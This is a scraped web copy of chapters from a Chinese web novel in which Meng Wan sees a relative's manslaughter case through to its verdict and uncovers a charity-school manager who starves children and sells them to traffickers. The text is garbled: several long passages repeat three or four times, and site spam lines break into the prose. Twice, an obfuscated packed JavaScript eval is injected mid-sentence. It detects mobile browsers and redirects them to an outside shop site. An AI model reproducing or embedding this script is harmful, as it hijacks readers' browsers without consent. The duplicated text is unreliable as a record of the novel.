来迎接,而且态度古怪,又有恭敬,又有怨恨,隐隐还带着惧怕。 孟晚看着面前的文绉绉的中年男人,好奇道:“大人是认得我还是认得我夫君?” 知县嘴角挂起一个僵硬的弧度,“与宋大人曾同朝为官,在宫门口见过孟夫郎一次。” 这就奇了怪了,在皇宫见过宋亭舟,那就最少是个职位重要的京官了,就算外派也是知府同知起步吧,怎么会被派到谷阳县这个小县城来做知县呢? 孟晚若有所思,“敢问大人姓名?” 知县从牙缝里挤出一句,“下官姓丁。” 孟晚恍然大悟,甚至有点想笑,“原来是丁大人啊!略有耳闻。” 哈哈哈原来是**过宋亭舟的大怨种,真是喜闻乐见。 眼见孟晚嘴角溢出来的笑意,丁知县表情愈发幽怨,他把孟晚请到衙门里说话,开门见山的问:“不知孟夫郎前来所为何事?” 昌平知府不知道抽的什么风,他刚上任就让他将谷阳县的人口户籍重新统计一遍,害的他大热的天天天干活,有时候还要亲自下访到村子里去,天气大热不说,与村里的刁民相处简直一个头两个大。这几天好不容易回来歇歇,还碰上了孟晚,早知道还不如下乡。 丁知县浑身的怨念都要凝结为实体了。 孟晚欣赏了一番才道:“不知丁大人可知年初有一起过失**案,犯人是姓常的一对父子。” 丁知县最近不常在县衙,但他上任这一月一共也没经手几起命案,孟晚这么一说他就知道了,“确实是有一起,下官才上任一月,之前一直在忙着其他事,这两天回县衙便是为了公审这起**案。” 孟晚直截了当,“姓常的是我家亲戚。” 丁知县心里“咯噔”一声,暗骂自己怎么又犯到这两口子手上,口中却是不动声色的试探,“孟夫郎的意思是?” 京城来的就是聪明,孟晚感叹。 “我没有别的意思,丁大人也不要误会,我这次来就是来告诉大人,法不容情,大人该怎么判就怎么判,万万不必为了他们与我家的亲缘瓜葛影响判决。” 丁知县拧着眉问他,“夫郎说的是心里话?” 孟晚莞尔一笑,“大人应当知道我夫君的性子,我没必要同您虚与委蛇。” 提起宋亭舟,丁知县还是忘不了他是在大 殿上怎么与监国的太子殿下推荐自己外放的,明明他都缩到角落里了…… “孟夫郎放心,下官定……秉公执法。” 从县衙出去,孟晚带蚩羽和枝繁找了个小摊子吃凉面,这会儿太阳大的不行,幸好街边有遮阳的棚子,枝繁见木凳子上似有擦不去的油痕,便找了一方帕子垫在上头让孟晚坐。 这就已经很引人注意了,面不好吃,煮的过烂,过了井水还是没有嚼劲,孟晚点的是肉卤面,肉竟然是腥臊的,他不是矫情的人,但加上热烈的天气难吃的面,当真的一口都吃不进去。 便叫了路边的小乞儿过来,请他吃上一碗凉面。这一举动好似碍了旁边食客的脸,连面摊摊主的脸色也不大好看。 “这小哥儿,可是我家的面煮的不合口?” 孟晚昧着良心说:“还好。” “还好你怎么不吃,给乞丐吃,他身上这么脏,怎可上桌吃饭?”面摊摊主这是嫌弃乞丐坐在这儿影响他生意,当然,若是孟晚是个面露凶光的壮汉,他就不会有这种顾虑了,说到底还是看他一脸笑的模样,觉得是个好欺负的。 孟晚笑意不减,“我花了钱,想请这位小兄弟尝尝,不知是哪里不合规矩呢?” 摊主不耐,“不是规矩不规矩的……” “那就闭嘴!”蚩羽一巴掌拍在桌子上,“轰”的一声,好好的桌子被他劈下一个角来。 空气似乎凝固,刚才还在一旁小声嘀咕的食客瞬间安静了下来,面露恐惧,下一秒乌拉一下全都跑远了。 摊主本来还在心惊胆战,见人都跑了忙去追人。 “钱,还没给面钱啊!” 孟晚耳边终于清净了,他发了会儿呆,不知在琢磨着什么,等枝繁蚩羽和那个小乞儿将面都吃完,才结了账离开。 面摊老板敢怒不敢言。 “小孩,我听说谷阳县不是有义学收无家可归的孩子吗?你怎么不去?”孟晚问那小乞儿。 小乞儿舔舔嘴唇,“里面供吃供穿,谁不想去?人家也不是什么样的孩子都收的。” 孟晚摇了摇扇子,“哦?还有什么条件不成?” 小乞儿摆了摆自己的一条胳膊,另一条袖管空荡荡的,“像我这样一条胳膊腿的,人家就只要手脚齐全的孩子,年龄也不要太大的。” 孟晚觉得 这小孩还算机灵,也敢说话,便对他说:“不如你和我去义学看看,我认识里面的管事,没准就收下你了呢?” 小乞儿将自己的独臂背在后面,乌漆嘛黑的脸上露出一个乖巧的浅笑,“好啊,谢谢夫郎。” 结果孟晚三人刚往前走出几步,那小乞儿就往他们相反的方向撒腿就跑,边跑还边嚷嚷,“救命啊,有拍花子的人贩子来啦!” 有孩子的百姓听到风声,立即警惕的将自己孩子叫回家。 “夫郎,要不要我把他抓回来。”蚩羽跃跃欲试。 孟晚摇头嗤笑了一声,“抓了我不就真成人贩子了?算了,让他走吧。” “哦,那咱们还去义学吗?”蚩羽又问。 孟晚手搭凉棚,眺望天边耀日,“今天太热了,还是算了吧,等常家的事了我们再去义学看看也不迟,丁知县说明早审案,这会儿就先去常家看看吧。” 这回孟晚直接去了雨哥儿的哥嫂家,算是县城里还算好的地段,门口有一棵大柳树,位置很好找。 蚩羽敲门,里面传来雨哥儿的声音,“表嫂,你终于来了!” 雨哥儿看到孟晚像是找到了主心骨,忙不迭的将他请进院子。 常家在县城的小院是座两进的,后院还挖了一口井,前院后院都种着菜。雨哥儿嫂子不在家,他陪着侄子侄女在炕上玩。 “你大嫂呢?”孟晚从井边洗了手进屋,问雨哥儿道。 雨哥儿给三人倒茶,“她去牢里看我哥和我爹他们了。”提起父兄,雨哥儿眼圈又是一红,他到大嫂这儿,才知道事情比他想的还要严重。 **,是要偿命的。 雨哥儿欲言又止的看着孟晚。 孟晚只当没看见,淡然地扇着扇子。枝繁取出孟晚喜欢的八宝茶茶包,同雨哥儿问了厨房的地方给孟晚沏茶。 过了一会儿,雨哥儿大嫂果然提着个空篮子回来,见到孟晚当即要给他跪下。 孟晚叹了口气,“你跪我也没用,**偿命,欠债还钱,按照禹国律法来算,斗殴**致死者,是要判处绞刑的,哪怕今天是我夫君来,同样如此。我去问过知县大人,县衙明早就要升堂审案,一切都要按照律法衡量,你做好准备吧。” 他今天来,也是看在他们照顾外祖母还算尽心的份上。 雨哥儿大嫂显然也听说过自家公爹和夫君大致会被判什么刑罚,只是仍抱有一丝希望,“我听旁人说,若是私下找那家人和解,会酌情量刑,不知可是真的?” 孟晚摇头,“**罪与其他罪责不同,和人命官司有关,不可能会酌情量刑,不过二舅和表弟两人参与,可能不会两人都判侥幸,便是侥幸一人活命,另一人也不会轻饶。” 这小孩还算机灵,也敢说话,便对他说:“不如你和我去义学看看,我认识里面的管事,没准就收下你了呢?” 小乞儿将自己的独臂背在后面,乌漆嘛黑的脸上露出一个乖巧的浅笑,“好啊,谢谢夫郎。” 结果孟晚三人刚往前走出几步,那小乞儿就往他们相反的方向撒腿就跑,边跑还边嚷嚷,“救命啊,有拍花子的人贩子来啦!” 有孩子的百姓听到风声,立即警惕的将自己孩子叫回家。 “夫郎,要不要我把他抓回来。”蚩羽跃跃欲试。 孟晚摇头嗤笑了一声,“抓了我不就真成人贩子了?算了,让他走吧。” “哦,那咱们还去义学吗?”蚩羽又问。 孟晚手搭凉棚,眺望天边耀日,“今天太热了,还是算了吧,等常家的事了我们再去义学看看也不迟,丁知县说明早审案,这会儿就先去常家看看吧。” 这回孟晚直接去了雨哥儿的哥嫂家,算是县城里还算好的地段,门口有一棵大柳树,位置很好找。 蚩羽敲门,里面传来雨哥儿的声音,“表嫂,你终于来了!” 雨哥儿看到孟晚像是找到了主心骨,忙不迭的将他请进院子。 常家在县城的小院是座两进的,后院还挖了一口井,前院后院都种着菜。雨哥儿嫂子不在家,他陪着侄子侄女在炕上玩。 “你大嫂呢?”孟晚从井边洗了手进屋,问雨哥儿道。 雨哥儿给三人倒茶,“她去牢里看我哥和我爹他们了。”提起父兄,雨哥儿眼圈又是一红,他到大嫂这儿,才知道事情比他想的还要严重。 **,是要偿命的。 雨哥儿欲言又止的看着孟晚。 孟晚只当没看见,淡然地扇着扇子。枝繁取出孟晚喜欢的八宝茶茶包,同雨哥儿问了厨房的地方给孟晚沏茶。 过了一会儿,雨哥儿大嫂果然提着个空篮子回来,见到孟晚当即要给他跪下。 孟晚叹了口气,“你跪我也没用,**偿命,欠债还钱,按照禹国律法来算,斗殴**致死者,是要判处绞刑的,哪怕今天是我夫君来,同样如此。我去问过知县大人,县衙明早就要升堂审案,一切都要按照律法衡量,你做好准备吧。” 他今天来,也是看在他们照顾外祖母还算尽心的份上。 雨哥儿大嫂显然也听说过自家公爹和夫君大致会被判什么刑罚,只是仍抱有一丝希望,“我听旁人说,若是私下找那家人和解,会酌情量刑,不知可是真的?” 孟晚摇头,“**罪与其他罪责不同,和人命官司有关,不可能会酌情量刑,不过二舅和表弟两人参与,可能不会两人都判侥幸,便是侥幸一人活命,另一人也不会轻饶。” 这小孩还算机灵,也敢说话,便对他说:“不如你和我去义学看看,我认识里面的管事,没准就收下你了呢?” 小乞儿将自己的独臂背在后面,乌漆嘛黑的脸上露出一个乖巧的浅笑,“好啊,谢谢夫郎。” 结果孟晚三人刚往前走出几步,那小乞儿就往他们相反的方向撒腿就跑,边跑还边嚷嚷,“救命啊,有拍花子的人贩子来啦!” 有孩子的百姓听到风声,立即警惕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟晚摇头,“**罪与其他罪责不同,和人命官司有关,不可能会酌情量刑,不过二舅和表弟两人参与,可能不会两人都判侥幸,便是侥幸一人活命,另一人也不会轻饶。” 这小孩还算机灵,也敢说话,便对他说:“不如你和我去义学看看,我认识里面的管事,没准就收下你了呢?” 小乞儿将自己的独臂背在后面,乌漆嘛黑的脸上露出一个乖巧的浅笑,“好啊,谢谢夫郎。” 结果孟晚三人刚往前走出几步,那小乞儿就往他们相反的方向撒腿就跑,边跑还边嚷嚷,“救命啊,有拍花子的人贩子来啦!” 有孩子的百姓听到风声,立即警惕的将自己孩子叫回家。 “夫郎,要不要我把他抓回来。”蚩羽跃跃欲试。 孟晚摇头嗤笑了一声,“抓了我不就真成人贩子了?算了,让他走吧。” “哦,那咱们还去义学吗?”蚩羽又问。 孟晚手搭凉棚,眺望天边耀日,“今天太热了,还是算了吧,等常家的事了我们再去义学看看也不迟,丁知县说明早审案,这会儿就先去常家看看吧。” 这回孟晚直接去了雨哥儿的哥嫂家,算是县城里还算好的地段,门口有一棵大柳树,位置很好找。 蚩羽敲门,里面传来雨哥儿的声音,“表嫂,你终于来了!” 雨哥儿看到孟晚像是找到了主心骨,忙不迭的将他请进院子。 常家在县城的小院是座两进的,后院还挖了一口井,前院后院都种着菜。雨哥儿嫂子不在家,他陪着侄子侄女在炕上玩。 “你大嫂呢?”孟晚从井边洗了手进屋,问雨哥儿道。 雨哥儿给三人倒茶,“她去牢里看我哥和我爹他们了。”提起父兄,雨哥儿眼圈又是一红,他到大嫂这儿,才知道事情比他想的还要严重。 **,是要偿命的。 雨哥儿欲言又止的看着孟晚。 孟晚只当没看见,淡然地扇着扇子。枝繁取出孟晚喜欢的八宝茶茶包,同雨哥儿问了厨房的地方给孟晚沏茶。 过了一会儿,雨哥儿大嫂果然提着个空篮子回来,见到孟晚当即要给他跪下。 孟晚叹了口气,“你跪我也没用,**偿命,欠债还钱,按照禹国律法来算,斗殴**致死者,是要判处绞刑的,哪怕今天是我夫君来,同样如此。我去问过知县大人,县衙明早就要升堂审案,一切都要按照律法衡量,你做好准备吧。” 他今天来,也是看在他们照顾外祖母还算尽心的份上。 雨哥儿大嫂显然也听说过自家公爹和夫君大致会被判什么刑罚,只是仍抱有一丝希望,“我听旁人说,若是私下找那家人和解,会酌情量刑,不知可是真的?” 孟晚摇头,“**罪与其他罪责不同,和人命官司有关,不可能会酌情量刑,不过二舅和表弟两人参与,可能不会两人都判侥幸,便是侥幸一人活命,另一人也不会轻饶。” 这小孩还算机灵,也敢说话,便对他说:“不如你和我去义学看看,我认识里面的管事,没准就收下你了呢?” 小乞儿将自己的独臂背在后面,乌漆嘛黑的脸上露出一个乖巧的浅笑,“好啊,谢谢夫郎。” 结果孟晚三人刚往前走出几步,那小乞儿就往他们相反的方向撒腿就跑,边跑还边嚷嚷,“救命啊,有拍花子的人贩子来啦!” 有孩子的百姓听到风声,立即警惕的将自己孩子叫回家。 “夫郎,要不要我把他抓回来。”蚩羽跃跃欲试。 孟晚摇头嗤笑了一声,“抓了我不就真成人贩子了?算了,让他走吧。” “哦,那咱们还去义学吗?”蚩羽又问。 孟晚手搭凉棚,眺望天边耀日,“今天太热了,还是算了吧,等常家的事了我们再去义学看看也不迟,丁知县说明早审案,这会儿就先去常家看看吧。” 这回孟晚直接去了雨哥儿的哥嫂家,算是县城里还算好的地段,门口有一棵大柳树,位置很好找。 蚩羽敲门,里面传来雨哥儿的声音,“表嫂,你终于来了!” 雨哥儿看到孟晚像是找到了主心骨,忙不迭的将他请进院子。 常家在县城的小院是座两进的,后院还挖了一口井,前院后院都种着菜。雨哥儿嫂子不在家,他陪着侄子侄女在炕上玩。 “你大嫂呢?”孟晚从井边洗了手进屋,问雨哥儿道。 雨哥儿给三人倒茶,“她去牢里看我哥和我爹他们了。”提起父兄,雨哥儿眼圈又是一红,他到大嫂这儿,才知道事情比他想的还要严重。 **,是要偿命的。 雨哥儿欲言又止的看着孟晚。 孟晚只当没看见,淡然地扇着扇子。枝繁取出孟晚喜欢的八宝茶茶包,同雨哥儿问了厨房的地方给孟晚沏茶。 过了一会儿,雨哥儿大嫂果然提着个空篮子回来,见到孟晚当即要给他跪下。 孟晚叹了口气,“你跪我也没用,**偿命,欠债还钱,按照禹国律法来算,斗殴**致死者,是要判处绞刑的,哪怕今天是我夫君来,同样如此。我去问过知县大人,县衙明早就要升堂审案,一切都要按照律法衡量,你做好准备吧。” 他今天来,也是看在他们照顾外祖母还算尽心的份上。 雨哥儿大嫂显然也听说过自家公爹和夫君大致会被判什么刑罚,只是仍抱有一丝希望,“我听旁人说,若是私下找那家人和解,会酌情量刑,不知可是真的?” 孟晚摇头,“**罪与其他罪责不同,和人命官司有关,不可能会酌情量刑,不过二舅和表弟两人参与,可能不会两人都判侥幸,便是侥幸一人活命,另一人也不会轻饶。” 第57章 谷阳县义学 第二天的谷阳县衙升堂审案的结果,果真和孟晚所说基本相同,常舅舅斗殴**被判了绞刑,他儿子则判了杖一百,流放三千里。 民间一直有“杖百必死的说法,就算侥幸不死,也会落得终生残疾。 从县衙大门出来,雨哥儿大嫂立即瘫软在地,呼天抢地嚎啕大哭起来,她尚且年轻,第二个孩子还在襁褓当中,若是雨哥儿大哥就这么**,她如此年纪就做了寡妇,后半辈子又该怎么熬下去,想想就令人绝望。 雨哥儿一边搀着她,一边也不知该如何是好,眼下他父兄都被定了罪,母亲又不知所踪,别说嫁人,今后的日子怎么过都不知道。 “先回家去吧,在门口哭嚎也不像样子,判决以下,不日便会被递交到刑部去。孟晚眼底冷漠,早知今日,何必当初。常家出事不是一人之过,就算这次没出事,将来也会出事。 到底是亲戚,孟晚随着他们回常家,这两天留下照看一二。 往街上一拐,一行人和被常舅舅失手所杀的人家撞了个正着,仇人见面分外眼红,但到底事情发生已久,谁也没有被仇恨蒙蔽双眼在县衙门口**。 也就是被瞪上几眼罢了,孟晚若有所思的扭过头去。 怎么看他的这么多? “夫郎,是昨天那个要让咱们酸梅汤的小哥儿。蚩羽在他耳边说。 孟晚点头,那小哥儿正是对家的人,死的应当是他公爹,这会儿他婆母和夫君听完丁知县的判决都是一脸快意。只不过他夫君实在像是个道貌岸然的**子,穿着一身读书人的青衿,看规制应当是个秀才,本来也是一脸愤恨,但眼睛却不自觉的往孟晚身上溜。 蚩羽对这种眼神甚是敏感,他之前跟在宋亭舟跟前,天天就是打架抓人,后来跟在孟晚身边可就热闹了,不光大家抓人,还要防备有贼子对他家夫郎图谋不轨! 现在蚩羽已经认得这个成语了,这也是他学会的第一个成语。 “看什么!蚩羽冷喝了一声。 这一声就把众人目光都汇聚到秀才郎身上,他眼神堪堪从孟晚精巧惑人的脸上拔下来,所有人都看到了,场面有些尴尬。 他夫郎有些难堪,“夫君,先扶婆母回家吧。 孟晚被他的声线吸引,侧身看了过来,因为天气炎热,莹润的鼻头泛起一层细密的汗珠。 你的朋友正在书荒,快去帮帮他吧 秀才吞咽了口口水,回了句,“哦?好好,回家,宝儿你先扶着娘走,我一会儿就过去找你们。 杨宝儿当着孟晚的面,见他这样愈发觉得羞愤难当,声音便重了一分,“夫君! 他夫君语气不耐,“不是说了叫你们先走吗! 孟晚听着那声“宝儿觉得耳熟,对方不走他们也是要走的,大热的天真是一刻也不想在外面多留。 蚩羽挡在孟晚后面,护着几人前行,还不忘恶狠狠的瞪着在后面巴望的登徒子。 他比寻常男子还高,肤色最近还黑了点,看着就不像好惹的,起码杨宝儿夫君这样文绉绉的秀才见了心生惧意,到底没敢再往前凑。 杨宝儿大热的天和小侍一左一右的搀着婆母,回身看到他失落的样子险些气哭,又不能在婆母面前发作,回到家里在他们的卧房里狠狠闹了一场,他夫君也没忍住说了重话。 “当初本就是你上赶着嫁给我的,如今又如此善嫉,我不过是多瞧上两眼也不行吗? 杨宝儿气得抚着胸口哭骂,“你当时是如何哄着我的,如今又这么说了?你考上秀才便已经纳了一房美妾了,这会儿又盯着人家已婚的夫郎看,你可知他是什么人! 那年介于少年与青年之间的男子,紧牵着他的心上人,同样从上午那条街道走过,杨宝儿当时就躲在巷子里看他们相偕的背影,心中又酸又涩。 那张美艳的脸在这个小县城是如此惊为天人,乃至他此生也忘不了。 宋亭舟的夫郎,是这般风流人物吗? 那他肯定早就不恨自己了吧? 杨宝儿心情复杂,他那时候也不算是后悔,本就没同宋亭舟相处过几次,对方不比和他嘴甜的表哥哄人好听,人也木讷。只是知道他成亲找了个这么漂亮的夫郎,没有缘由的觉得不舒服。 前两年他回乡的时候才听说宋亭舟做了大官,家里长辈提起这个话茬话梢都挂着酸气。 他爹娘说他命不好,没有做官夫郎的命,前后就差了那么一年半载就便宜了别人,提起来就悔的心口疼,赶集都绕着宋家人走。 杨宝儿不说话,其实他嫁的已经很好了,县城里住着,身边有小侍伺候,夫君是有功名的读书人,人也斯文有礼,常常赠与他礼物。 但人就怕攀比,一比便忍不住的想曾经、如果,一想又一发不可收拾。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 —— 孟晚在常家安抚着人,屋子里比外面凉快一些,他灌了杯蚩羽打回来的酸梅汤,轻摇折扇,“事已至此,你再哭也没用,还不如想想今后该怎么办。 雨哥儿大嫂坐在椅子上不说话,红肿不堪的双眼盯着自己的一双儿女,“我如何都好,孩子们…… “你还年轻,以后有大把的日子要过,若是将来想改嫁,也没人会怪你。孟晚替她说了内心深处难以启齿的话。 雨哥儿愣愣地看着沉默的大嫂,若是大嫂改嫁了,那他怎么办? 到底是常金花的亲戚,孟晚不会放任不管,“现在说什么都还早,等刑部下来判决,怎么也要等到秋后行刑。往后你要怎么过都在你,改嫁不会有人阻拦,不想改嫁我便托人照看一二,总不会叫人欺负了你们孤儿寡母的。 安抚过人后,孟晚便想回客栈休息,六神无主的雨哥儿起身送他,“表嫂…… 唉,好麻烦。 孟晚头也没回,“你大姑不会不管你的,过几天我回宋家,你跟着我回去住几天吧。 当初雨哥儿没有死皮赖脸的非要留在盛京嫁人,孟晚对他印象还不错,常家人都犯了事,剩下雨哥儿一个未嫁的小哥儿也怪可怜的,为他张罗一番倒也可以。 这便是孟晚的逻辑,他给的就给了,非要逼他讨要的他偏不放任。 在客栈里小睡了一会儿,天热的孟晚吃不下东西,等太阳快下去的时候枝繁便买了些包子回来。 孟晚吃了一个勉强填填肚子,觉得外面日头开始西下,没有晌午那么热烈了,就带上蚩羽和枝繁去谷阳县的义学。 当时小乞丐的话很容易让人警觉,孟晚觉的谷阳县这处义学可能有鬼,便没有表明身份,只买了两匹粗布让蚩羽抱着过去,假装他们一行只是过来捐赠的好心人。 “多谢夫郎慷慨馈赠,夫郎不进去坐坐? 谷阳县这处义学的管事也是院里教书的夫子,一个四十多岁的哥儿,据说早年家里也有人做了官,犯事后被抄了家,这才沦落到谷阳县落户。 孟晚接触这么一小阵儿看来,确实是个斯文有理的哥儿,一举一动都带着讲究,想来家里落魄前也是个大官。单单这么小会儿的接人待物一点毛病也挑不出来,说起义学的孩子来也多有疼惜。 “义学就这么大的地儿, 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 有好些孩子都没法再接收了我们也是有心无力只能挑些手脚齐全的孩子先养着。” 瞧小乞丐之前说的也给圆上了八面玲珑。 “我就不进去坐了天色不早我们也只是路过县城听说有这么个地方这便走了。”孟晚面上带笑心中越发狐疑黄挣外地生意多不可能兼顾的了义学的事五座义学不可能事事顺当如难免会有疏漏如昌平府义学戴寡妇和盈娘那般遇事慌乱的普通人才像是正常的。 听到他这么说管事的笑意更真诚了几分“那我送送夫郎。” 孟晚往外走了两步客气道:“您留步吧。” 三人往外走过了街角孟晚便立即吩咐蚩羽“回去看看莫要打草惊蛇。” “是夫郎。”蚩羽答得干脆走得也迅速。 街上太热了孟晚拿着扇子扇了扇风带枝繁到一处凉茶铺子下坐着他晌午没吃饱这会儿饿了又不想吃正经饭要了一盘子炒花生米一盘子西瓜不伦不类的填肚子。 杨宝儿的嫁的那个秀才左右看看见孟晚身边那个“壮汉”不在心中一喜故作不经意的路过“咦你不是那常家的亲戚?” 孟晚翻了个白眼转过身接着空盘子吃瓜。 见孟晚不搭腔秀才有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648133|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尴尬好在凉茶铺子的摊主认识他招呼了一句“韩相公可要坐下喝盏凉茶?” 韩姓秀才暗喜这才装模作样的顺势坐下“那便来上一壶吧那位夫郎的瓜钱一同算吧。” 他话音刚落孟晚直接扔了半块碎银到摊主面前“再来一盘子瓜。” 枝繁虽然比枝茂稳重些到底还是个十几岁的小少年 在他们夫郎面前装什么大尾巴狼当谁稀罕他请一盘子瓜? 枝繁故意说道:“夫郎你不是说要买些上好的皮**吗?我打听东市那头有个猎户冬日里存了不少好货其中还有不少银色、大红色的狼皮狐皮一点杂色都没有咱们去买上几张吧。” 孟晚轻笑一声也纵着他说:“成走的时候收上一车回去。” 凉茶摊的摊主听了暗自咂舌普通的黄狐皮也要三四两银子一张这小哥儿竟然张嘴就要买上一车莫不是在吹嘘吧? 韩秀才脸色僵硬耳根红了一片不知心里想了什么 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ,仍是厚着脸皮凑到孟晚桌前,“我知小哥儿是常家的远亲,家父的事不会迁怒小哥儿的。” 这时候的人很含蓄,孟晚这张脸虽然招人,但他不往三教九流的地方钻,极少有人会大剌剌的凑上来招人烦,不巧这个韩秀才就是一个。 孟晚吃完手中的西瓜,慢条斯理的用帕子净手,“韩秀才?” 韩秀才见孟晚竟然真的回应了他,眼睛一亮,忙不迭的答道:“在下正是。” 孟晚点了点自己头上的发簪,不客气的说:“你是瞎吗?” 小哥儿和女娘云英未嫁还是已为人妇最简单的辨别方法就是发髻,孟晚只简单挽了个最普通的一窝丝,他头发长,挽在头顶还垂出来一点,簪着祥云白玉簪,清丽又好看。 韩秀才先是被他骂的难以置信,而后又被他蓬松的发顶勾了魂儿,往常话本子上只写某某连头发丝儿都漂亮,只当是夸张的话,见了孟晚这等角色韩秀才方知此言不虚。 虽然被骂了,但身上生不出一丝恼怒,反而心思荡漾。韩秀才心想,只要能得美人一次垂青,别说是已嫁人夫,便是当下要他休妻另娶,受人唾骂,他也毫不犹豫。 孟晚脸色逐渐阴沉下来,这个姓韩的是没长眼睛,还是没长耳朵?听不懂人话吗? 若不是蚩羽不在,此人早就被扔出茶棚了。 “枝繁,我们走。”孟晚沉着脸说了句,任谁都能看出他此时心情不佳。 韩秀才却也跟着起身,在后头不知死活的喊他,“小哥儿且慢。” 孟晚缓缓吐了口气,突然笑了,“我是要去义学捐赠,韩秀才何故跟着我?莫不是也要去行善事?” “义学?啊,对,我也要去看看孩子们。”韩秀才只是想跟在孟晚身边近身纠缠,好借机靠近亲昵,听到孟晚说什么义学,便顺势应下了。 凉茶铺子本就距离义学仅一个拐角的功夫,孟晚走在前后,眼底寒冰,冷飕飕的往外冒着寒气。 枝繁上前将义学管事又重新叫了出来,对方神情虽然还是恭敬客气,但眼里明显带着不耐,直到孟晚说明来意,他才又重新扬起笑脸。 “夫郎要捐银子?哎呀,这可是大好事,不知夫郎要捐多少?” 孟晚从眼梢掠了跟上来的韩秀才一眼,带着一丝嘲弄的意味,“便捐上五十两银子吧,韩秀才是有功名的秀才相公,他捐的定是比我要多的。” 管事的大喜,“夫郎海涵,韩秀才不愧是咱们县城顶有出息的秀才相公,真是乐善好施、博施济众啊!” 五十两! 韩秀才大惊,但迎着孟晚打量的目光,怎可说没有?咬咬牙,他竟真的回家取银两去了。 等他取了银子回来,孟晚已经被迎进门房里。 蚩羽从后院的墙头上爬回来,正好与在堂厅里端坐的孟晚对视。 孟晚招呼他直接下来,于是他便直接在众目睽睽之下跳下了墙,“夫郎。” “你……你是什么时候进来的!”管事的指着蚩羽的手指头气的哆嗦,随后想起了什么转身看向孟晚,“夫郎这是何意?” 孟晚坐在椅子上,气势陡然转变,“我是何意?张管事真以为这义学是你的了?” 第58章 照顾乞儿 蚩羽三两下就将张管事拿下,“夫郎,你们前脚刚走,这个老东西就在背后骂你。” 张管事惊疑不定,“你们是什么人?到底想做什么?” 孟晚在院子里踱步,观察着周围环境,前院静悄悄的,没有一个孩子过来走动。他边走边说:“你不用知道我们要做什么,只要知道从今以后,义学不容你,明白吗。” 张管事一听这话立马叫嚷起来,“凭什么!你说不容我就不容我,你是哪根葱?” 大门敞开着,孟晚青葱一般的手指指向屹立在义学门口的石碑,“读读上面的字,你就知道我算哪根葱了。” 石碑上面一共就四个字,两个是“义学”,还有两个是…… 孟晚。 张管事双腿发麻,“你……您……您是孟夫郎?” 前院和后院之间的小门被锁着,孟晚站在紧闭的木门前,声音散漫,却字字都透着压迫感,“你现在把事情都说出来,还有一条活路可走,不然你该知道会是什么下场,毕竟张家曾经经历过的,对吧?” “夫郎,后院只有七八个孩子在,还都是三五岁的小孩,面黄肌瘦的,不知道多久没吃过饱饭了。库房里棉花和粗布就那么一小点,有两匹还是咱们刚买的。”蚩羽叭叭的将探听到的东西就这么说了出来。 张管事再也支撑不住,双膝一软,一下子跪在了孟晚面前,“孟夫郎饶命,都是我自己贪财,还请放过小的一家老小吧!” 他虽说是罪臣之后,可也是能成婚生子的,这些年早就有了自己的小家,孙子都有了。 孟晚暂时没搭理他,任由张管事恐惧到呼吸都发紧,越是聪明人,便越会自己吓自己。 “蚩羽,把门打开。” 蚩羽脚步轻快的窜了过去,然后干脆利落的出脚,“轰”的一声,厚重的木门应声而倒。 孟晚拿手中的折扇扇了扇灰尘,后才踏着门槛过去。 后院很宽敞,布局和府城的义学差不多,却空旷太多了。 蚩羽刚才来过一趟,直接领着孟晚往其中一扇小门走过去,那小门前有两个四十来岁的妇人守着,蚩羽一人给了一个窝心脚,就将两人都给踹倒在地了。 “夫郎,那几个小孩都被关在这里头了!” 这门倒是没锁,但里面的孩子却不敢跑出来反抗 ,多半是被收拾老实了。孟晚眼神一暗,推门进去。 里面如蚩羽所说,有八个小孩,三到五岁不确定,其中两个眼神虽然闪躲,但明显比剩下六个成熟一些,起码有七八岁,应当是太瘦了,所以看起来小。 本来就是小小的孩子,瘦的脸上都脱了像,灰扑扑的皮包裹着骨头,大大的眼睛里满是麻木、恐惧、和渴望,看着都瘆人。 他们看到进来的孟晚,全都动作统一的往后缩,可是空荡的屋子里只有地上的一摊子稻草,这些孩子再躲又能躲到哪儿去呢? 孟晚洁白的牙咬着自己的一口塞肉,“蚩羽,去报官。” 还没下乡的丁知县又被迫干了活,他刚上任没多久,倒是不知道孟晚还在县城里资助了个义学,刚开始还在心里暗骂他活该被手下人中饱私囊,看到那八个骨瘦如柴的孩子后就不再说话了。 张管事家这五年用义学的钱买宅子娶儿媳妇,贪了不知多少,而且被收拢进义学的乞儿,竟然大部分都被张管事联合人贩子给卖到了远处去,只剩下这八个人贩子挑剩下的小的,被留下险些活活饿死。 孟晚给丁知县报了个大概的数目,让他看着判。 按照禹国律例,并赃论罪,窃盗数额满一百二十贯的,便要杖一百,流放三千里。张管事足足多犯了三倍,是要直接处以绞刑的。 当年张家犯事他侥幸逃过一劫,也已经嫁人生子,甚至儿子都已经娶了妻,到底是不甘心还是欲望驱使,竟又身陷险境,将自己折腾死。 按照判决,张家是要被官府追缴赃款的,张管事贪来的钱他家已经花了大半,要将手里的一百多两白银都返还给孟晚,他们旗下的房产和田地都都要归于孟晚旗下。 从县衙里拿了银子出来,孟晚直接叫蚩羽去客栈退了房,接下来的日子他要亲自去义学整顿一番。 把马车里拉的被褥都在义学前院找了个空房间铺好,三人暂时安顿下来。 车里还剩一些孟晚的零食,是一些果干蜜饯,和半袋精米。 可用之人太少,孟晚将在家惶惶不安的雨哥儿也拉来干活。 